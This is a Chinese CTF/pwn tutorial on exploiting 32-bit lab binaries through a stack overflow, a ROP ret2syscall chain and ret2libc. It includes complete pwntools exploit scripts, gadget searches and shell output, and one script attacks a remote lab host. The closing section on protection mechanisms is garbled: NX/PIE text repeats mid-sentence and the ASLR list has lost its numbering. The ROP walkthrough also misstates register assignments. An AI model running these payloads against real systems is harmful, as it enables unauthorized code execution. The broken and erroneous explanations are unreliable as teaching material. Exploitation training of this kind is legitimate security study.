二进制漏洞
环境及工具:
- Ubuntu 20.04 LTS
- x86_64 GNU/Linux
- IDA Pro 6.8
- python 3.8.2
漏洞1–栈溢出
1.1正常函数的调用过程
在函数被调用时,首先将被调函数(callee)的各参数按照逆序的方式压入栈内,然后将被调函数的下一条指令作为返回地址(return address)压入栈中,再将当前的ebp寄存器的值压入栈内,然后把当前栈顶的地址赋给ebp。
函数调用结束时,执行两条指令
LEAVE mov esp ebp
pop ebp
RET pop eip
将esp的值赋为ebp,该操作的作用即舍弃在被调函数工作期间产生的内存,然后将ebp的值重新赋值为old ebp的值,即回到自己的caller的栈帧,然后将eip的值赋为return address的值,即将执行点重新返回到caller中,自此,esp,ebp,eip三个寄存器全部复位,一个函数的调用结束。
1.2漏洞利用的思路
当callee函数中存在可以用来向栈中写入数据的函数,如:gets(),read0等,这时可以用覆盖的方式,将自己想要的返回地址写到return address的位子,从而在被调函数执行ret指令时,成功拿到程序的执行权。
1.3漏洞利用的实现
先检查文件的信息和保护机制
task$ checksec aaa1
[*] ‘/home/pwn/task/aaa1’
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)task$ file aaa1
aaa1: ELF 32-bit LSB executable, Intel 80386, …(省略部分不需要的信息)
利用ida pro对文件进行分析并得到main函数的源代码
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[20]; // [esp+1Ch] [ebp-14h] BYREF
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
puts("Welcome to AAA BOF Test.");
puts("Input your payload: ");
gets(s);
return printf(s);
}
并得到了getshell函数的地址 text:0804853D getshell
注意到了危险函数gets(),利用gdb进行动态调试
pwndbg> stack 30
00:0000│ esp 0xffffd170 —▸ 0xffffd18c ◂— ‘AAAAAAAAAA’
… ↓
07:001c│ eax 0xffffd18c ◂— ‘AAAAAAAAAA’
… ↓
0e:0038│ ebp 0xffffd1a8 ◂— 0x0
从eax开始向ebp的位置填充,总计需要0x38-0x1c+4的垃圾数据和一个4字节的返回地址(即已经获得的getshell函数的地址),接下来编写脚本即可。
from pwn import*
io=remote("10.214.160.13",11001) #这是远程连接的方法
#io=process("./aaa1") #这是本地连接的方法
io.recv() #recv()接受信息
payload=b"a"*32+p32(0x0804853D)
io.sendline(payload) #注意要用sendline(比send函数多一个换行符)
io.interactive() #interactive()得到shell
此处直接攻击远程靶机,并成功获取控制权
task$ python3 aaa1.py
[+] Opening connection to 10.214.160.13 on port 11001: Done
[*] Switching to interactive mode
Input your payload:
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=\x85\x04$ ls
bin
boot
data
dev
…
自此完成一次基本的攻击。
漏洞2–返回导向编程 Return Oriented Programming
2.1 漏洞利用原理
上一个漏洞属于较为特殊的情况,当原程序中不存在getshell()这样的后门函数时,需要我们自己手动构造一个函数来实现漏洞利用。
已知执行execve(“/bin/sh”,NULL,NULL)这个函数即可拿到程序的执行权,将其翻译为汇编语言即为以下代码
mov eax, 0xb
mov ebx, [“/bin/sh”]
mov ecx, 0
mov edx, 0
int 0x80
但我们并没有这样的一段完整的函数,所以我们需要利用gadget技术得到一些原程序中存在的语句块来实现上述函数。如果我们可以得到以下语句的返回地址(gadget的定义为a small mechanical or electronic device or tool, especially an ingenious or novel one.与本题的思路十分一致)
pop eax;ret
pop ebx;ret
pop ecx;ret
pop edx;ret
int 0x80
那么我们就可以利用函数获取参数的方式来提前将对应的参数写到相应的地方,完成对参数的赋值工作,然后最终调用int 0x80这个中断函数,由此完成一次完整的系统函数的调用。我们以ebx,eax为例,来展示如何完成一次对参数的赋值
0
[pop ebx;ret] address
‘/bin/sh’ address
[pop eax;ret] address <-- esp
此时执行ret,来到pop eax语句处,按照之前函数调用的规则,将会压入两个新的参数,变为
0
[pop ebx;ret] address
‘/bin/sh’ address <-esp
执行pop eax,将eax的值赋为’/bin/sh‘,调用结束后,栈的情况为
0
[pop ebx;ret] address <-esp
同理会将0赋值给ebp,然后我们利用这种方法构造数据
int 0x80 address
0
[pop edx;ret] address
0
[pop ecx;ret] address
0
[pop ebx;ret] address
‘/bin/sh’ address
[pop eax;ret] address
此处填充垃圾数据
此处填充垃圾数据
…
…
2.2漏洞利用的实现
先检查文件的信息和保护机制
task$ checksec ret2syscall
[*] ‘/home/pwn/task/ret2syscall’
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
task$ file ret2syscall
ret2syscall: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.24,
利用ida pro对文件进行分析并得到main函数的源
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp+1Ch] [ebp-64h] BYREF
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("This time, no system() and NO SHELLCODE!!!");
puts("What do you plan to do?");
gets(&v4);
return 0;
}
观察到可被利用的gets()函数,然后利用ROPgadget和grep寻找语句块
task$ ROPgadget --binary ret2syscall --only “pop|ret” |grep eax
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x080bb196 : pop eax ; ret
0x0807217a : pop eax ; ret 0x80e
0x0804f704 : pop eax ; ret 3
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; rettask$ ROPgadget --binary ret2syscall --only “pop|ret” |grep ebx
0x0809dde2 : pop ds ; pop ebx ; pop esi ; pop edi ; ret
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0806eb91 : pop ecx ; pop ebx ; ret
0x0806336b : pop edi ; pop esi ; pop ebx ; ret
0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; rettask$ ROPgadget --binary ret2syscall --string “/bin/sh”
Strings information
0x080be408 : /bin/shtask$ ROPgadget --binary ret2syscall --only “int”
Gadgets information
0x08049421 : int 0x80
利用gdb来计算需要填充的垃圾数据
pwndbg> stack 40
00:0000│ esp 0xffffd120 —▸ 0xffffd13c ◂— ‘AAAAAAAAAAAAA’
01:0004│ 0xffffd124 ◂— 0x0
02:0008│ 0xffffd128 ◂— 0x1
03:000c│ 0xffffd12c ◂— 0x0
04:0010│ 0xffffd130 ◂— 0x1
05:0014│ 0xffffd134 —▸ 0xffffd234 —▸ 0xffffd3e8 ◂— ‘/home/pwn/task/ret2syscall’
06:0018│ 0xffffd138 —▸ 0xffffd23c —▸ 0xffffd403 ◂— ‘SSH_AUTH_SOCK=/run/user/1000/keyring/ssh’
07:001c│ eax 0xffffd13c ◂— ‘AAAAAAAAAAAAA’
… ↓
__22:0088│ ebp 0xffffd1a8 —▸ 0x8049630 (libc_csu_fini) ◂— push ebx
计算地需要0xa8-0x3c+4的垃圾数据
from pwn import *
io=process("./ret2syscall")
io.recv()
payload=b'a'*112+p32(0x080bb196)+p32(0xb)\
+p32(0x0806eb90)+p32(0)+p32(0)\
+p32(0x080be408)+p32(0x08049421)
io.sendline(payload)
io.interactive()
task$ python3 ret2syscall.py
[+] Starting local process ‘./ret2syscall’: pid 2697
[*] Switching to interactive mode
$ ls
BUUCTF_pwn1 linklist_first_part.py ret2libc2 ret2syscall.py
aaa1 linklist_second_part.py ret2libc2.py ret2text
aaa1.py pwn1 ret2libc3 shellcode
success!
漏洞3–ret2libc
2.1漏洞利用的思路
此漏洞建立在程序是动态链接的基础上,动态链接时,无法直接在原程序中找到所要用的各种函数,但被调用的函数都会在got表中有体现,且但该函数被调用一次后,got表中的内容会变为在动态链接后的真实地址,我们可以利用这一点来得到函数的真实地址。此外,即使原程序中未使用system函数(下面的例子就是这种情况),即无法在got表中查到其真实地址,我们利用两个函数在libc文件中的相对距离和在elf文件中的相对距离保持不变这一点,先找到elf文件的got表中一个用过的函数的真实地址(下面的例子中利用的是puts函数),然后计算system函数和puts函数在libc文件中的相对距离计算得到真实地址。对于参数‘’/bin/sh"我们有两种实现的方法。一是直接在libc文件中利用elf.search的方法寻找,然后同理得到system函数的方法得到/bin/sh的真实地址。二是直接在原程序中找。注:sh\00也可以替代/bin/sh。
2.2漏洞利用的实现
利用gdb计算需要填充的垃圾数据的字长0x48-0x10+4=60
pwndbg> stack 40
00:0000│ esp 0xffffcff0 —▸ 0xffffd000 ◂— 0x41414141 (‘AAAA’)
01:0004│ 0xffffcff4 —▸ 0xffffd052 ◂— 0x41414141 (‘AAAA’)
02:0008│ 0xffffcff8 —▸ 0xffffd038 —▸ 0xffffd168 ◂— 0x0
03:000c│ 0xffffcffc —▸ 0xf7e3ab54 (fflush+132) ◂— add esp, 0x10
04:0010│ eax 0xffffd000 ◂— 0x41414141 (‘AAAA’)
… ↓
12:0048│ ebp 0xffffd038 —▸ 0xffffd168 ◂— 0x0
此时的程序已经调用过puts函数,所以got表中保存的是函数的真实地址,利用函数间的相对地址保持不变,即可得到所需要的system函数的地址,但此处的地址不能直接用,因为libc在载入时会进行地址随机化。
pwndbg> got
GOT protection: Partial RELRO | GOT functions: 8
[0x804a00c] read@GLIBC_2.0 -> 0xf7ec0a40 (read) ◂— endbr32
[0x804a010] printf@GLIBC_2.0 -> 0xf7e1f340 (printf) ◂— endbr32
[0x804a014] fflush@GLIBC_2.0 -> 0xf7e3aad0 (fflush) ◂— endbr32
[0x804a018] strcpy@GLIBC_2.0 -> 0xf7e5d7d0 (__strcpy_ssse3) ◂— endbr32
[0x804a01c] puts@GLIBC_2.0 -> 0xf7e3ccd0 (puts) ◂— endbr32
[0x804a020] _gmon_start__ -> 0x8048406 (__gmon_start_@plt+6) ◂— push 0x28 /* ‘h(’ */
[0x804a024] __libc_start_main@GLIBC_2.0 -> 0xf7de9df0 (__libc_start_main) ◂— endbr32
[0x804a028] strtol@GLIBC_2.0 -> 0xf7e05750 (strtol) ◂— endbr32
以下为攻击脚本
from pwn import*
io = process("./ret2libc3")
io.recv()
elf=ELF("./ret2libc3")
#libc=ELF("./libc-2.23.so")
libc=ELF("/lib/i386-linux-gnu/libc.so.6")
'''
here,we need to send a address(puts 's got_address),for the reason of the function
strtol( str->int ) so we need to send a str rather than a byte
'''
io.sendline(str(elf.got["puts"]))
io.recvuntil(b" : ")
puts_add=int(io.recvuntil(b"\n",drop=True),16)
#drop=True than the '\n' will be dropped
#16 will tell the int() that the Parameter is Hex
sys_add1=libc.symbols["system"]
puts_add1=libc.symbols["puts"]
bin_add1=next(libc.search(b"/bin/sh"))
bin_add=bin_add1+puts_add-puts_add1
sys_add=sys_add1+puts_add-puts_add1
payload=b'a'*60+p32(sys_add)+b'a'*4+p32(next(elf.search(b"sh\00")))
#payload=b'a'*60+p32(sys_add)+b'a'*4+p32(bin_add)
#payload=flat(cyclic(60), sys_add, cyclic(4),next(elf.search(b"sh\x00")))
io.recv()
io.sendline(payload)
io.interactive()
this is another exp
from pwn import *
io = process("./ret2libc3")
elf = ELF("./ret2libc3")
libc=ELF("/lib/i386-linux-gnu/libc.so.6")
io.sendlineafter(b" :",str(elf.got['puts']))
io.recvuntil(b" : ")
libcBase = int(io.recvuntil(b"\n",drop = True),16)-libc.symbols["puts"]
success("libc_offset -> {:#x}".format(libcBase)) debug
#payload = b"A"*60 + p32(libc_offset+libc.symbols【"system"】)+ b"AAAA" + p32(next(elf.search(b"sh\x00")))
payload = flat(cyclic(60), libcBase+libc.symbols["system"], cyclic(4), next(elf.search(b"sh\x00")))
io.sendlineafter(b" :",payload)
io.interactive()
ret2libc3$ python3 ret2libc3.py
[+] Starting local process ‘./ret2libc3’: pid 2805
[] ‘/home/pwn/task/ret2libc3/ret2libc3’
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[] ‘/lib/i386-linux-gnu/libc.so.6’
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] Switching to interactive mode
Your message is : aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa0H\xd2\xf7aaaaR\x13\xf7
$
success
一些保护机制
- canary(栈保护)
栈溢出保护是一种缓冲区溢出攻击缓解手段,当函数存在缓冲区溢出攻击漏洞时,攻击者可以覆盖栈上的返回地址来让shellcode能够得到执行。当启用栈保护后,函数开始执行的时候会先往栈里插入cookie信息,当函数真正返回的时候会验证cookie信息是否合法,如果不合法就停止程序运行。攻击者在覆盖返回地址的时候往往也会将cookie信息给覆盖掉,导致栈保护检查失败而阻止shellcode的执行。在Linux中我们将cookie信息称为canary。 - NX(no execute)
NX即No-execute(不可执行)的意思,NX(DEP)的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。 - PIE(position-independent executables)
位置独立的可执行区域。这样使得在利用缓冲溢出和移动操作系统中存在的其他内存崩溃缺陷时采用面向返回的编程(return-oriented programming)方法变得难得多。一般情况下NX(Windows平台上称其为DEP)和地址空间分布随机化(ASLR)会同时工作。内存地址随机化机制(address space layout randomization),有以下三种情况:
- 表示关闭进程地址空间随机化。
- 表示将mmap的基址,stack和vdso页面随机化。
- 表示在1的基础上增加栈(heap)的随机化。
- RELRO(read only relocation)
,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。 - PIE(position-independent executables)
位置独立的可执行区域。这样使得在利用缓冲溢出和移动操作系统中存在的其他内存崩溃缺陷时采用面向返回的编程(return-oriented programming)方法变得难得多。一般情况下NX(Windows平台上称其为DEP)和地址空间分布随机化(ASLR)会同时工作。内存地址随机化机制(address space layout randomization),有以下三种情况:
- 表示关闭进程地址空间随机化。
- 表示将mmap的基址,stack和vdso页面随机化。
- 表示在1的基础上增加栈(heap)的随机化。
- RELRO(read only relocation)
在Linux系统安全领域,数据可以写的存储区就会是攻击的目标,尤其是存储函数指针的区域。 所以在安全防护的角度来说尽量减少可写的存储区域对安全会有极大的好处。GCC, GNU linker以及Glibc-dynamic linker一起配合实现了一种叫做relro的技术:。大概实现就是由linker指定binary的一块经过dynamic linker处理过 relocation之后的区域为只读.设置符号重定向表格为只读或在程序启动时就解析并绑定所有动态符号,从而减少对GOT(Global Offset Table)攻击。RELRO为” Partial RELRO”,说明我们对GOT表具有写权限。